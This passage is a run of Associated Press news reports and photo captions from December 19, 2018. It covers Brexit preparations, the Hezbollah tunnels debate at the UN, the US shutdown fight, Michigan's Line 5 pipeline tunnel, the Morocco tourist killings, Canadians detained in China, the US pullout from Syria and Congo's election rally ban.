preparations for a no-deal Brexit. (AP Photo/Virginia Mayo) Britain's Prime Minister Theresa May speaks during the weekly Prime Minister's Questions in the House of Commons, London, Wednesday Dec. 19, 2018. With 100 days until Britain leaves the European Union, the government was publishing long-awaited plans Wednesday for a post-Brexit immigration system that will end free movement of EU citizens to the U.K. (House of Commons/PA via AP) In this House of Commons TV handout video, backdropped by Labour MP's, Britain's opposition Labour party leader Jeremy Corbyn makes a statement in the House of Commons on his return after being accused of mouthing "stupid woman" at Prime Minister Theresa May during Prime Minister's Questions, in the House of Commons, London, Wednesday Dec. 19, 2018. With 100 days until Britain leaves the European Union, the government was publishing long-awaited plans Wednesday for a post-Brexit immigration system that will end free movement of EU citizens to the U.K. (House of Commons/via AP) An anti-Brexit demonstrator wears a mask bearing the stars of the European flag outside the houses of Parliament in London, Wednesday Dec. 19, 2018. (AP Photo/Tim Ireland) European Commissioner for Euro and Social Dialogue Valdis Dombrovkis speaks during a media conference at EU headquarters in Brussels, Wednesday, Dec. 19, 2018. Economists say leaving the EU without a deal risks plunging the British economy into recession and touching off chaos at the borders. The EU was set Wednesday to publish documents on its own preparations for a no-deal Brexit. (AP Photo/Virginia Mayo) European Commissioner for Euro and Social Dialogue Valdis Dombrovkis speaks during a media conference at EU headquarters in Brussels, Wednesday, Dec. 19, 2018. Economists say leaving the EU without a deal risks plunging the British economy into recession and touching off chaos at the borders. The EU was set Wednesday to publish documents on its own preparations for a no-deal Brexit. (AP Photo/Virginia Mayo) Prime Minister Theresa May speaks to UK Border Force officers during a visit to the UK Border Force Command Centre at Heathrow Airport's Terminal 5, Wednesday Dec. 19, 2018. The British government on Wednesday published long-awaited plans for a post-Brexit immigration system that will end free movement of EU citizens to the U.K. (Niklas Halle'n/PA via AP) JERUSALEM (AP) - Israel on Wednesday urged a special session of the U.N. Security Council to condemn the Lebanese militant group Hezbollah and designate it a terrorist organization following the discovery of cross-border tunnels stretching into Israel. Following a stormy session, the council took no action on the Israeli request, though several members sided with Israel and expressed concerns over Hezbollah's violation of a U.N. Security Council resolution that ended a 2006 war between the bitter enemies. Israel has previously urged the U.N.'s most powerful body to condemn Hezbollah, but has never succeeded because of divisions in the council, and there was no move Wednesday to circulate a draft resolution on the tunnels. A key reason for the lack of council action is that some members would insist that Israeli violations of the 2006 resolution also be included in a resolution. Early this month, Israel announced the discovery of what it said was a network of cross-border Hezbollah attack tunnels and launched an open-ended military operation to destroy them. It so far has exposed four tunnels that it says were to be used to infiltrate and attack Israeli towns and abduct Israeli civilians. Ahead of Wednesday's debate, Prime Minister Benjamin Netanyahu urged the council to condemn Hezbollah. "This is not merely an act of aggression. This is an act of war," Netanyahu said. "The people of Lebanon have to understand that Hezbollah is putting them in jeopardy and we expect Lebanon to take action against this." Israeli soldiers stand around the opening of a hole that leads to a tunnel that the army says crosses from Lebanon to Israel, near Metula, Wednesday, Dec. 19, 2018. Israel's prime minister Wednesday called on the U.N. Security Council to condemn "wanton acts of aggression" by the Lebanese militant group Hezbollah, designate it a terrorist organization and heighten sanctions on it over attack tunnels it has dug into Israel. (AP Photo/Sebastian Scheiner) At the United Nations, Israeli Ambassador Danny Danon showed an aerial photograph of what Israel called a "private compound" near the border that concealed a tunnel. He also presented an aerial photo showing what he said were weapons-storage sites concealed in a border village. He said Israel had given the U.N. peacekeeping mission, known as UNIFIL, "precise information" about the tunnels that was shared with the Lebanese army. He accused the Lebanese army of then relaying the information to Hezbollah, allowing it to try to conceal the tunnels. "Lebanese army officials are working for Hezbollah, while UNIFIL is not working to fulfill its mandate in the region in the necessary manner," Danon said. The U.N.'s peacekeeping chief, Jean-Pierre Lacroix, said UNIFIL had confirmed four tunnels, including two that cross the frontier into Israel. Calling them a "serious violation" of the 2006 cease-fire resolution, Lacroix said UNIFIL is "acting judiciously" to complete its investigation and to work with both sides to disable all tunnels that cross the border. "This is a matter of serious concern," he said. Lebanon's ambassador, Amal Mudallali, said her country took the matter seriously and remains committed to the cease-fire resolution. "This commitment is not rhetoric, and these are not mere words, because this commitment is in the interest of my country and my people," she said, adding that the Lebanese army is "deployed heavily" in the south to make sure the cease-fire is honored. But she also accused Israel of repeatedly violating the resolution by having its air force routinely fly through Lebanese skies. "If we were to call for a Security Council meeting every time Israel had violated Lebanon's sovereignty since 2006, you will be in a 24/7 shift to address them," she said. Several council members joined Israel in condemning the tunnels. Sweden said Hezbollah's military capabilities pose a "clear risk" to regional stability. The Netherlands strongly condemned the tunnel activities as a "flagrant violation" of Israeli sovereignty and international law. Russia's deputy U.N. ambassador, Vladimir Safronkov, stressed Moscow's "historically friendly relations" with Israel and Lebanon in his speech to the council. Like many other council members, he called for calm and dialogue as well as an end to "emotional polemics." Safronkov said Russia takes note of UNIFIL's preliminary conclusion on the violation of the 2006 resolution over the tunnels. But he quickly referred to Israeli violations as well. "We see that all violations of the provisions in this Security Council resolution should cease, from either side - all violations," Safronkov said. "We cannot have a selective approach to implementation of the resolution." He said Israel has a right to prevent illegal incursions into its territory but expressed hope its activities "will not go against the grain" of the 2006 resolution. Hezbollah, a powerful organization that acts independently in Lebanon, has yet to comment on the Israeli discovery. Israel has long called for a crackdown on the Iranian-backed Hezbollah, a heavily armed mini-army that is believed to possess an arsenal of some 150,000 rockets that can reach nearly all of Israel. In recent years, Hezbollah has been bogged down in fighting in Syria on behalf of Syrian President Bashar Assad's government. But with that civil war winding down, Israeli security officials fear Hezbollah is refocusing its attention on Israel. Though it appeared the Lebanese army was unaware of the Hezbollah tunnels, Netanyahu said, they know about it now and must neutralize them for their own country's sake. Israel holds the Lebanese government responsible for the actions of Hezbollah. "The fact that the Lebanese army is doing nothing means that they are either unable or unwilling or both to do anything about this. But it doesn't absolve Lebanon's culpability," he said. "My message is: Hezbollah is putting you in great jeopardy." Israel also accuses Hezbollah of using private homes to store weapons or other military activity. Netanyahu called these actions a "double war crime" since it threatened to harm Israeli civilians and put Lebanese civilians in danger as well. On Wednesday, the Israeli military escorted reporters along the Israel-Lebanon border to the site of one of the tunnels found in recent weeks near the town of Metula. Heavy mist and rain nearly obscured the Lebanese villas perched on the mountains overlooking Israeli army bulldozers and tractors trundling through the mud. Hezbollah, Lebanese and Palestinian flags fluttered on the opposite side of the border as Israeli soldiers lowered cameras 26 meters (85 feet) into the mouth of a rock-hewn tunnel they said was the first exposed in "Operation Northern Shield" emanating from the Lebanese village of Kafr Kela just a few hundred meters (yards) away. ___ Associated Press writers Edith M. Lederer at the United Nations and Isabel DeBre in Metula, Israel, contributed to this report. Israeli soldiers lower a tool into a hole that leads to a tunnel that the army says crosses from Lebanon to Israel, near Metula, Wednesday, Dec. 19, 2018. Israel's prime minister Wednesday called on the U.N. Security Council to condemn "wanton acts of aggression" by the Lebanese militant group Hezbollah, designate it a terrorist organization and heighten sanctions on it over attack tunnels it has dug into Israel. (AP Photo/Sebastian Scheiner) KATHMANDU, Nepal (AP) - Nepal's government has stopped eight Italian contractors from leaving the Himalayan country in an effort to complete a critical but much delayed water supply project for the capital. Nepalese officials and the Italian contractors met again on Wednesday, but no agreement was reached, said Ministry of Water Supplies spokesman Shankar Prasad Subedi. A statement from the ministry said the eight contractors from the Italian company Cooperativa Muratori Cementisti Ravenna are being kept under strict surveillance by the authorities in Kathmandu because they had information that the contractors might be attempting to leave Nepal. Nepalese officials are worried that contractors from the financially troubled company may attempt to flee, leaving the project unfinished. Officials speaking on condition of anonymity because they are not authorized to speak to reporters said airport immigration authorities have been instructed to not allow them to leave the country. However, no official notice has been issued for the prohibition. The Italians have been working on the project for the past four years, but the Melamchi Drinking Water project is nearly 2 decades old. It is supposed to bring drinking water to Kathmandu, the capital, where households have water for only two hours every five days. A Nepalese security guard walks at the construction site of Melamchi water project in Kathmandu, Nepal, Wednesday, Dec. 19, 2018. The government of Nepal has stopped Italian contractors from leaving the Himalayan country in an effort to complete a critical but much delayed water supply project for the capital city. The Italians have been working for the past four years but the Melamchi project is nearly two decades old and supposed to bring drinking water to Kathmandu, where households have water for only two hours every five days. (AP Photo/Niranjan Shrestha) The project has been delayed due to political instability in Nepal, as well as a devastating 2015 earthquake. A monthslong economic blockade by India leading to severe shortages of fuel and construction materials also brought the project to a halt. Nepal is mostly covered with mountains that have rivers, but Kathmandu faces a severe water problem. Most residents there have to depend on water trucks to bring water to their homes. The Melamchi project is being constructed through funding from the Asian Development Bank and the Japanese government. A Nepalese construction worker rests at the site of the Melamchi water project in Kathmandu, Nepal, Wednesday, Dec. 19, 2018. The government of Nepal has stopped Italian contractors from leaving the Himalayan country in an effort to complete a critical but much delayed water supply project for the capital city. The Italians have been working for the past four years but the Melamchi project is nearly two decades old and supposed to bring drinking water to Kathmandu, where households have water for only two hours every five days. (AP Photo/Niranjan Shrestha) WASHINGTON (AP) - The Latest on the fight over funding for a U.S.-Mexico border wall and a potential partial government shutdown (all times local): 10:03 p.m. The Senate has approved legislation to temporarily fund the government and avoid a federal shutdown over President Donald Trump's border wall. Senators passed the measure on voice vote Wednesday without a roll call. It goes next to the House. Congress faces a Friday deadline when funding for part of the federal government expires. Trump has not yet said he will support the measure, but the White House says he'll take a look. It does not provide $5 billion Trump wanted for the wall. Instead, it funds border security and other agencies at current levels through Feb. 8. The U.S. Capitol Building Dome is seen through a beveled window at the Library of Congress in Washington, Wednesday, Dec. 19, 2018. (AP Photo/Carolyn Kaster) Without resolution, more than 800,000 federal employees could be furloughed or ordered to work without pay days before Christmas. Voting was pushed back to late Wednesday and some senators sang Christmas carols in the chamber. __ 8 p.m. The leader of the conservative House Freedom Caucus is urging President Donald Trump to veto a stopgap spending plan that would avoid a partial government shutdown set to begin early Saturday. Rep. Mark Meadows, a North Carolina Republican, said Trump's political base "will just go crazy" if he signs a spending bill that does not include money for his long-promised border wall with Mexico, a central part of Trump's 2016 campaign. Just last week Trump said he would be "proud" to shut down the government over his demand for $5 billion for the wall. Meadows says signing a bill without wall funding would do "major damage" to Trump's re-election campaign, saying Trump's supporters "believe it's a promise that he's been telling them that he will keep." __ 4:35 p.m. A vote on a stopgap spending plan that would avoid a partial government shutdown is being delayed as senators debate whether to reauthorize a popular program that supports conservation and outdoor recreation projects across the country. A bipartisan group of lawmakers, mostly from the West, are seeking to include language in the budget deal reauthorizing the Land and Water Conservation Fund. If that proves impossible, lawmakers hope to extend the program in a separate bill addressing a maintenance backlog at national parks and other public lands issues. Republican Sen. Richard Burr of North Carolina, a leading advocate of the conservation fund, says he and other lawmakers are working to reauthorize the program before Congress adjourns for the year. But he adds, "I'm not advocating closing down the government." __ 11:20 a.m. Senate Democratic leader Chuck Schumer says it's good news that President Donald Trump has apparently retreated from his demand that Congress pay for a border wall with Mexico. Schumer said Wednesday that Democrats prefer to find a way to fund all government agencies through Sept. 30, but will support a plan by Senate Republicans for a stopgap measure to continue funding the government until Feb. 8. The plan averts a partial shutdown that could begin at midnight Friday. Senate Majority Leader Mitch McConnell says the Senate will vote on the bill Wednesday. He calls it "a simple measure" to show Republicans are governing. Schumer called shutting down the government over Christmas "a terrible idea, one of the worst to come down the pike in a very long time." ___ 10:15 a.m. Senate Majority Leader Mitch McConnell says he'll be introducing a stopgap measure to continue funding the government until Feb. 8 to avert a government shutdown. McConnell says the Senate will vote on the bill Wednesday. He calls it "a simple measure" to show that Republicans are governing. Congress faces a Friday deadline to fund a portion of the government or risk a partial shutdown. Lawmakers have been at a standstill over President Donald Trump's demands for $5 billion to fund the border wall. ___ 8:35 a.m. White House counselor Kellyanne Conway says President Donald Trump may consider a short-term funding deal to keep the government open. Conway was asked on Wednesday if Trump would back legislation in the works that would keep the government funded, likely into February, and said the president will "take a look at that certainly." Conway argues Trump is not softening on his promise to secure the U.S.-Mexico border. Trump appeared to back off his demand for $5 billion to fund a border wall on Tuesday after days of impasse with Congress. Without agreement, a partial government shutdown would happen Friday at midnight. The White House has said it's looking at other avenues to fund the wall. Trump tweeted Wednesday: "One way or the other, we will win on the Wall!" Democrats earlier proposed keeping funding at $1.3 billion for border security fencing and other improvements, but not for the wall. ___ 12:10 a.m. Days of impasse over funding for a southern border wall appears to have ended with President Donald Trump signaling he's open to a deal to avoid a partial government shutdown. The president's press secretary, Sarah Huckabee Sanders, said Tuesday that Trump would consider other options than demanding $5 billion for the border wall. A proposal in the works in the Senate would keep the government funded past a midnight Friday deadline and into the early weeks of 2019. A person familiar with negotiations tells The Associated Press that the White House would prefer a longer-term package. If no bill is passed by Congress and signed by the president ahead of the deadline, more than 800,000 government workers would be furloughed or sent to work without pay just days before Christmas. TRAVERSE CITY, Mich. (AP) - A proposal to run an oil pipeline beneath a crucial section of the Great Lakes cleared its final hurdle Wednesday, gaining approval of a Michigan panel created a week earlier in a dash to complete the deal before Republican Gov. Rick Snyder leaves office. The three-member Mackinac Straits Corridor Authority unanimously backed an agreement between the state and Canadian pipeline company Enbridge to drill a tunnel through bedrock up to 100 feet (30.4 meters) below the more than 4-mile-wide (6.4 kilometer) channel that links Lakes Huron and Michigan. A new segment of pipeline would extend through the tunnel, replacing twin pipes that have lain along the lake bed since 1953. They are part of Enbridge's Line 5, which carries crude oil and natural gas liquids used in propane from Superior, Wisconsin, through northern Michigan to refineries in Sarnia, Ontario. Line 5 has drawn fierce criticism in recent years from environmental groups, native tribes and tourism-related businesses fearful of a rupture that, according to worst-case scenarios outlined by university researchers, could pollute hundreds of miles of Great Lakes shoreline. Enbridge has steadfastly defended the pipelines, contending they are in sound condition and could last indefinitely. But with public pressure mounting amid reports of gaps in protective coating and dents from a ship anchor strike in April, the company embraced the tunnel option. "Today's actions will result in the removal of the oil pipeline from the bottom of the Straits of Mackinac, maintain critical infrastructure connections between our peninsulas, provide energy security for residents of the Upper Peninsula and northern Michigan and create good-paying jobs," Snyder said. east leg of the pipeline near St. Ignace as Enbridge prepares to test the east and west sides of the Line 5 pipeline under the Straits of Mackinac in Mackinaw City, Mich. Gov. Rick Snyder has signed legislation Wednesday, Dec. 12, 2018, establishing a panel to oversee a hotly disputed tunnel that will house an oil pipeline beneath the waterway linking Lake Huron and Lake Michigan. Snyder acted Wednesday, a day after the Republican-dominated Michigan Legislature gave the bill final approval. (Dale G Young/Detroit News via AP, File) His successor, Gretchen Whitmer, who takes office Jan. 1, has criticized the tunnel plan and called for decommissioning Line 5, as has incoming attorney general Dana Nessel. Both Democrats have said little about the situation since their election last month and it isn't clear what steps they could take to derail the plan, which Snyder and the GOP-controlled Legislature have attempted to make bulletproof. Critics vowed to continue the fight. For Love of Water, a Traverse City-based environmental group, denounced the negotiated agreements and the approval process as "a sham" that raises constitutional questions, particularly involving the creation of a public body - the straits corridor authority - to oversee transport of a private company's product. "They have ignored hundreds of thousands of public comments calling for a shutdown of Line 5 and millions of mid-term votes for an incoming administration which pledged to protect our Great Lakes, not a foreign oil company's profit margin," said Beth Wallace of the National Wildlife Federation's Great Lakes office. Enbridge officials and workers, many of whom praised the plan during the panel's meeting near the straits in St. Ignace, Michigan, noted it requires the company to cover all costs of designing and building the tunnel, estimated at up to $500 million. The structure would encase the pipeline in thick concrete, virtually eliminating any threat of a spill, they said. "The tunnel project is an investment in Michigan that will make a safe pipeline safer," said Brad Shamla, Enbridge vice president for U.S. operations. Opponents complained that the existing Line 5 pipes, which carry about 23 million gallons (87 million liters) of petroleum liquids daily, will remain operational until the new segment is running. The pact sets no deadline for switching the oil flow to the new pipe, although Shamla said the target date for finishing the tunnel is 2024. Numerous speakers pleaded with the straits corridor authority to postpone a decision and take more time to study the agreement, which was made public only last week. But Chairman Michael Nystrom said the panel was required to proceed if convinced the agreements between the state and Enbridge met criteria outlined in the law that created the authority. The panel voted 3-0 to accept the tunnel pact and authorize the company to drill in the Great Lakes bottomlands. RABAT, Morocco (AP) - The lone suspect arrested in the killing of two Scandinavian tourists in Morocco's Atlas Mountains is connected to a terrorist group, and three other suspects are on the run, Moroccan authorities said Wednesday. State television 2M reported on its website that authorities consider the two women's slayings a terrorist act. Local media reported that the suspects had links to the Islamic State group. The women, who were from Denmark and Norway, were discovered stabbed in the neck Monday by other tourists, who alerted police, according to national media. Hiking in the area was temporarily suspended. The killings have shocked Morocco, a popular tourist destination where such attacks on foreigners are extremely rare. The Rabat public prosecutor's office said in a statement Wednesday that the only captured suspect has affiliations to a terrorist group, without naming the group. The suspect was arrested in Marrakech on Tuesday. Three other suspects have been identified and but are still on the run, a security official told The Associated Press. The official was not authorized to be publicly named. In this photo provided by Moroccan news channel 2M and taken on Tuesday, Dec. 18, 2018, a security team is seen at the area where the bodies of two Scandinavian women tourists were found dead, near Imlil in the High Atlas mountains, Morocco. The lone suspect arrested in the killing of two female Scandinavian tourists is connected to a terrorist group, and three other suspects are on the run, Moroccan prosecutors said Wednesday. (2M via AP) The remote mountainous region where the women were found dead is 10 kilometers (6.2 miles) from the village of Imlil - often the starting point for treks to Mount Toubkal, North Africa's highest peak. Broadcaster 2M released photos and videos Wednesday of forensic investigators and others working around the women's brightly colored tent on a rocky hillside. The broadcaster said the tent held food and belongings for three people, including an ID card. Moroccan media outlets reported that investigators have video surveillance footage showing three suspects putting up a tent near the victims' tent and leaving the area after the slaying. Authorities in Denmark and Norway warned their citizens from hiking without local guides in Morocco after the killing. Danish police officials said Wednesday they sent an officer to Morocco to assist in the investigation. Morocco is generally considered safe for tourists and is a key ally of the United States and Europe in the fight against terrorism. Morocco has struggled for years with sporadic Islamic extremism, and more than 1,000 Moroccans are believed to have joined the Islamic State group. Media in Norway identified the Norwegian hiker as Maren Ueland, 28. The mayor of her family's hometown of Time, Reinert Kverneland, told Norwegian broadcaster NRK that he informed relatives of Ueland's slaying. The victim's mother, Irene Ueland, told NRK her daughter had taken safety precautions before making the trip. The Danish victim was identified by media in Denmark as Louisa Vesterager Jespersen, 24. Her mother, Helle Jespersen, told tabloid BT two police officers rang the doorbell Monday evening with the message that her daughter had been killed. She said the family had warned her against undertaking the journey. The University of South-Eastern Norway said on its website that both women were studying to earn bachelor's degrees in outdoor life, culture and ecophilosophy. They attended a campus in Boe, southern Norway and west of Oslo. "What we know is that they were on a monthlong, private holiday in Morocco. Our thoughts go to the families," the university said on its home page, adding flags were flown at half-staff in their memory Tuesday. ___ Jan M. Olsen in Copenhagen, Denmark contributed to this report. In this photo provided by Moroccan news channel 2M and taken on Tuesday, Dec. 18, 2018, a forensic team is seen at the area where the bodies of two Scandinavian women tourists were found dead, near Imlil in the High Atlas mountains, Morocco. The lone suspect arrested in the killing of two female Scandinavian tourists is connected to a terrorist group, and three other suspects are on the run, Moroccan prosecutors said Wednesday. (2M via AP) TORONTO (AP) - A third Canadian has been detained in China, although Canada's prime minister said Wednesday the case doesn't seem to be linked to the previous two that appear to be retaliation for Canada's recent arrest of a top Chinese tech executive. Prime Minister Justin Trudeau also said he didn't want to escalate frictions set off by the executive's arrest. Meng Wanzhou, chief financial officer of Chinese telecommunications giant Huawei, was arrested in Canada on Dec. 1 at the request of the United States, which wants her extradited to face charges that she and her company misled banks about the company's business dealings in Iran. Nine days later, the Chinese secretly detained two Canadians on vague suspicions of "engaging in activities that endanger the national security" of China. Beijing didn't allow Canadian officials to see Michael Kovrig, a former diplomat in China, for four days and Canadian entrepreneur Michael Spavor for six days. Meng is out on bail in Canada. But the third Canadian detained doesn't seem to fit the pattern of the two previous ones, with no national security charges listed, Trudeau said. He raised the possibility of it being a visa issue. "There are tens of thousands of Canadians that live, travel and work in China," Trudeau said at a year-end news conference. Canadian Prime Minister Justin Trudeau listens to a question during an end of session news conference in Ottawa, Wednesday, Dec. 19, 2018. (Adrian Wyld/The Canadian Press via AP) The government declined to provide more details, but opposition Conservative lawmaker Erin O'Toole said the case involves an Alberta woman who has been teaching in China for months and has indeed been held over a visa irregularity. O'Toole said a fellow Conservative lawmaker relayed the information to Canada's foreign minister. Asked at what point he might escalate his concerns to China's president, Trudeau said political posturing or statements are not necessarily going to help those detained. "Escalation or very strong political statements can actually end up being counterproductive," Trudeau said. "Escalation and political posturing might be satisfactory in the short term to make yourself seem like you are stomping on the table and doing something significant, but it may not contribute to the outcome we all want." Opposition leader Andrew Scheer said Trudeau needs to call China's president. "Enough is enough. It's time for the Prime Minister to pick up the phone, call President Xi, demand the safe return of Canadians held by Beijing. Any detention of Canadian citizens for political or diplomatic reasons is completely unacceptable," Scheer tweeted. Nelson Wiseman, a professor at the University of Toronto, said Trudeau looks weak and said his comments won't be well received by Canadians. "The government thinks that stronger statements will lead to poor treatment of Canadians held by China and possibly result in more Canadians being detained and Canadian businesses in China being hurt by the Chinese government," Wiseman said David Mulroney, a former Canadian ambassador to China, said it would be highly unusual if the third arrest is a coincidence. "It's possible but I find it unlikely," he said. Mulroney said it would be a problem for Canada and China. "One detention is bad enough. Two is terrible. Three underlines how ruthless China can be," he said. "It serves as a reminder for people that China is a detention state." The detention of Meng set off a diplomatic spat in which Canada is stuck in the middle. President Donald Trump complicated matters by saying he might intervene in the case if would help clinch a U.S. trade agreement with China - much to the consternation of Canadian officials who said the arrest was not political and they were just following their extradition treaty obligations. U.S. Secretary of State Mike Pompeo has called for China to release the Canadians, saying their detention was "unlawful" and "unacceptable." Roland Paris, a former foreign policy adviser to Trudeau, said the Trump administration should recognize the importance of countering Chinese efforts to pressure Canada over the extradition of an individual wanted by the U.S. "What is the United States doing to help gain the release of two Canadians - and now potentially a third - detained by China in apparent retaliation for Canada's lawful arrest of Ms. Meng? Washington should be using its considerable leverage to support Canada," Paris tweeted. ___ Associated Press writer Yanan Wang in Beijing contributed to this report. WASHINGTON (AP) - President Donald Trump is pulling all 2,000 U.S. troops out of Syria, officials announced Wednesday as the president suddenly declared victory over the Islamic State, contradicting his own experts' assessments and sparking surprise and outrage from his party's lawmakers who called his action rash and dangerous. The U.S. began airstrikes in Syria in 2014, and ground troops moved in the following year to battle the Islamic State, or ISIS, and train Syrian rebels in a country torn apart by civil war. Trump abruptly declared their mission accomplished in a tweet. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," he said as Vice President Mike Pence met with top leaders at the Pentagon. U.S. officials said many details of the troop withdrawal had not yet been finalized, but they expect American forces to be out by mid-January. Later Wednesday, Trump posted a video on Twitter in which he said is "heartbreaking" to have to write letters and make calls to the loved ones of those killed in battle. "Now it's time for our troops to come back home," he said. A senior administration official, speaking to reporters on condition of anonymity, said Trump made the decision based on his belief that U.S. troops have no role in Syria beyond combatting Islamic State, whose fighters are now believed to hold about 1 percent of the territory they did at the peak of their power. The president informed Turkish President Recep Tayyip Erdogan of his decision in a telephone call, the official said. Turkey has recently warned that it would launch combat operations across its southern border into northeastern Syria against Kurdish forces who have been allied with the U.S. in the fight against the Islamic State. Sen. Lindsey Graham, R-S.C., a member of the Senate Armed Services Committee, rushes to the office of Senate Majority Leader Mitch McConnell, R-Ky., at day's end on Capitol Hill in Washington, Wednesday, Dec. 19, 2018. Amid the news that President Donald Trump is pulling all 2,000 U.S. troops out of Syria, Graham said he was "blindsided" by the report and called the decision "a disaster in the making." (AP Photo/J. Scott Applewhite) Trump's declaration of victory was far from unanimous, and officials said U.S. defense and military leaders were trying to dissuade him from ordering the withdrawal right up until the last minute. His decision immediately triggered demands from Congress - including leading Republicans - for more information and a formal briefing on the matter. Sen. Lindsay Graham of South Carolina, just returned from Afghanistan, said he was meeting with Defense Secretary Jim Mattis late in the day. Graham, typically a Trump backer, said he was "blindsided" by the report and called the decision "a disaster in the making." He said, "The biggest winners in this are ISIS and Iran." The decision will fulfill Trump's long-stated goal of bringing troops home from Syria, but military leaders have pushed back for months, arguing that the IS group remains a threat and could regroup in Syria's long-running civil war. U.S. policy has been to keep troops in place until the extremists are eradicated. The senior administration official said American forces would still work with allies to fight the Islamic State or other extremists in the country but gave no details on what that might entail. Another official said it still is not clear to defense leaders whether U.S. airstrikes against IS insurgents will continue in Syria after the American troops leave. U.S. military officials worry that American-backed Kurdish troops will be targeted by Turkey and the Syrian government, leaving no ally on the ground to help direct the strikes. Israeli Prime Minister Benjamin Netanyahu, who remains concerned about Iranian efforts in the area, reacted in noncommittal fashion after talking with Trump by telephone. "This is, of course, an American decision," he said. No matter what, he said, "we will safeguard the security of Israel and protect ourselves from this arena." Leading Republican senators reacted with displeasure to the news. Sen. Marco Rubio of Florida said the withdrawal would be a "grave error" and that Kurdish fighters will stop fighting the Islamic State when they must confront Turkish troops crossing the border into Syria. "This is a bad idea because it goes against the fight against ISIS and potentially helps ISIS," he said, warning it could trigger a broader conflict in the region. Just last week, the U.S. special envoy to the anti-ISIS coalition, Brett McGurk, said U.S. troops would remain in Syria even after the Islamic State was driven from its strongholds. "I think it's fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring," McGurk told reporters on Dec. 11. "Nobody is declaring a mission accomplished. Defeating a physical caliphate is one phase of a much longer-term campaign." And two weeks ago Gen. Joseph Dunford, chairman of the Joint Chiefs of Staff, said the U.S. still has a long way to go in training local Syrian forces to prevent a resurgence of IS and stabilize the country. He said it will take 35,000 to 40,000 local troops in northeastern Syria to maintain security over the long term, but only about 20 percent of that number have been trained. Trump's national security adviser, John Bolton, said in September that the U.S. would keep a military presence in Syria as long as Iran was active there. "We're not going to leave as long as Iranian troops are outside Iranian borders and that includes Iranian proxies and militias," he said. James Stavridis, a former Navy admiral who served as top NATO commander, tweeted Wednesday that "Pulling troops out of Syria in an ongoing fight is a big mistake. Like walking away from a forest fire that is still smoldering underfoot. Big winner is Iran, then Russia, then Assad. Wrong move." The withdrawal decision, however, is likely to be viewed positively by Turkey, and comes following several conversations between Trump and Erdogan over the past several weeks. The two spoke at the G-20 summit in Argentina and in a phone call last Friday. Erdogan said Monday he had gotten "positive answers" from Trump on the situation in northeast Syria where he has been threatening a new operation against the American-backed Syrian Kurdish fighters. Just hours before the withdrawal decision became public, the State Department announced late Tuesday that it had approved the sale of a $3.5 billion Patriot missile defense system to Turkey. The Turks had complained that the U.S. was slow walking requests for air defenses, and they had signed a deal with Russia to buy a sophisticated system in a deal that Washington and Ankara's other NATO partners strongly opposed. Completion of that deal with Russia for the S-400 system would have opened up Turkey to possible U.S. sanctions and driven a major wedge between the allies. It was not immediately clear if there was a connection between the Patriot sale and the decision on U.S. troops. Although the withdrawal decision doesn't signal an end to the American-led coalition's fight against the Islamic State, it will likely erode U.S. leadership of that 31-nation effort. The administration had been preparing to host a meeting of coalition foreign ministers early next year. "The bottom line is that the American withdrawal from eastern Syria will create a power vacuum that will lead to a new phase of international conflict in Syria," said Jennifer Cafarella, a Syria expert at the Institute for the Study of War. She predicted that the Russians, the Iranians, Syrian President Bashar Assad and the Turks will compete for the terrain and resources previously under U.S. control "at the expense of" the Syrian Kurds who have partnered with U.S. forces against IS. ___ Associated Press writers Susannah George and Catherine Lucey contributed to this report. KINSHASA, Congo (AP) - The governor of Congo's capital banned campaign rallies in the city Wednesday, citing security concerns ahead of the election to pick a president to replace the leader who has been in office since 2001. Gov. Andre Kimbuta canceled all rallies in Kinshasa for the 21 candidates vying for the presidency in Sunday's election. Kimbuta issued a communique saying he had information that extremists were preparing street confrontations in the final days of campaigning. The action angered supporters of opposition candidate Martin Fayulu who planned to attend a campaign rally in Kinshasa on Wednesday. Thousands of Fayulu's supporters gathered along a main road stretching out from the city hoping to see the candidate. Police used tear gas on some of them to disperse the crowd. Police stopped Fayulu himself about 50 kilometers (31 miles) outside the capital, according to his campaign manager Pierre Lumbi. He said the candidate and his team were trying to negotiate permission for Fayulu to enter Kinshasa. The presidential election has been postponed several times. Voters are set to choose the successor to President Joseph Kabila, who took office after his father's assassination. Congo has not had a peaceful, democratic transfer of power since the vast Central Africa country became independent from Belgium in 1960. Supporters of opposition candidate Martin Fayulu run from tear gas fired by police in Nsele, 50kms east of Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The ban angered supporters of opposition candidate Martin Fayulu who had gathered for a rally in Kinshasa. Hundreds of Fayulu's supporters gathered on the outskirts of Kinshasa hoping to see their candidate but Congo's police dispersed them by firing tear gas. (AP Photo/Jerome Delay) Supporters of opposition candidate Martin Fayulu make their way towards Nsele, 50kms east of Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The ban angered supporters of opposition candidate Martin Fayulu who had gathered for a rally in Kinshasa. Hundreds of Fayulu's supporters gathered on the outskirts of Kinshasa hoping to see their candidate but Congo's police dispersed them by firing tear gas. (AP Photo/Jerome Delay) Supporters of opposition candidate Martin Fayulu run from tear gas fired by police in Nsele, 50kms east of Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The ban angered supporters of opposition candidate Martin Fayulu who had gathered for a rally in Kinshasa. Hundreds of Fayulu's supporters gathered on the outskirts of Kinshasa hoping to see their candidate but Congo's police dispersed them by firing tear gas. (AP Photo/Jerome Delay) In this photograph shot through a car windshield, Congolese police detain supporters of opposition candidate Martin Fayulu who were making their way towards Nsele, 50kms east of Kinshasa, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The ban angered supporters of opposition candidate Martin Fayulu who had gathered for a rally in Kinshasa. Hundreds of Fayulu's supporters gathered on the outskirts of Kinshasa hoping to see their candidate but Congo's police dispersed them by firing tear gas. (AP Photo/Jerome Delay) CAPTION CORRECTS THE TOWN - Supporters of opposition candidate Martin Fayulu run from tear gas fired by police in Nsele, Democratic Republic of the Congo, Wednesday Dec. 19, 2018. Days before Congo's elections, the Kinshasa's governor banned campaign rallies in the capital city, citing security concerns. The capital's governor Andre Kimbuta on Wednesday cancelled all political rallies in the city for the 21 candidates vying for the presidency in the Dec. 23 elections. (AP 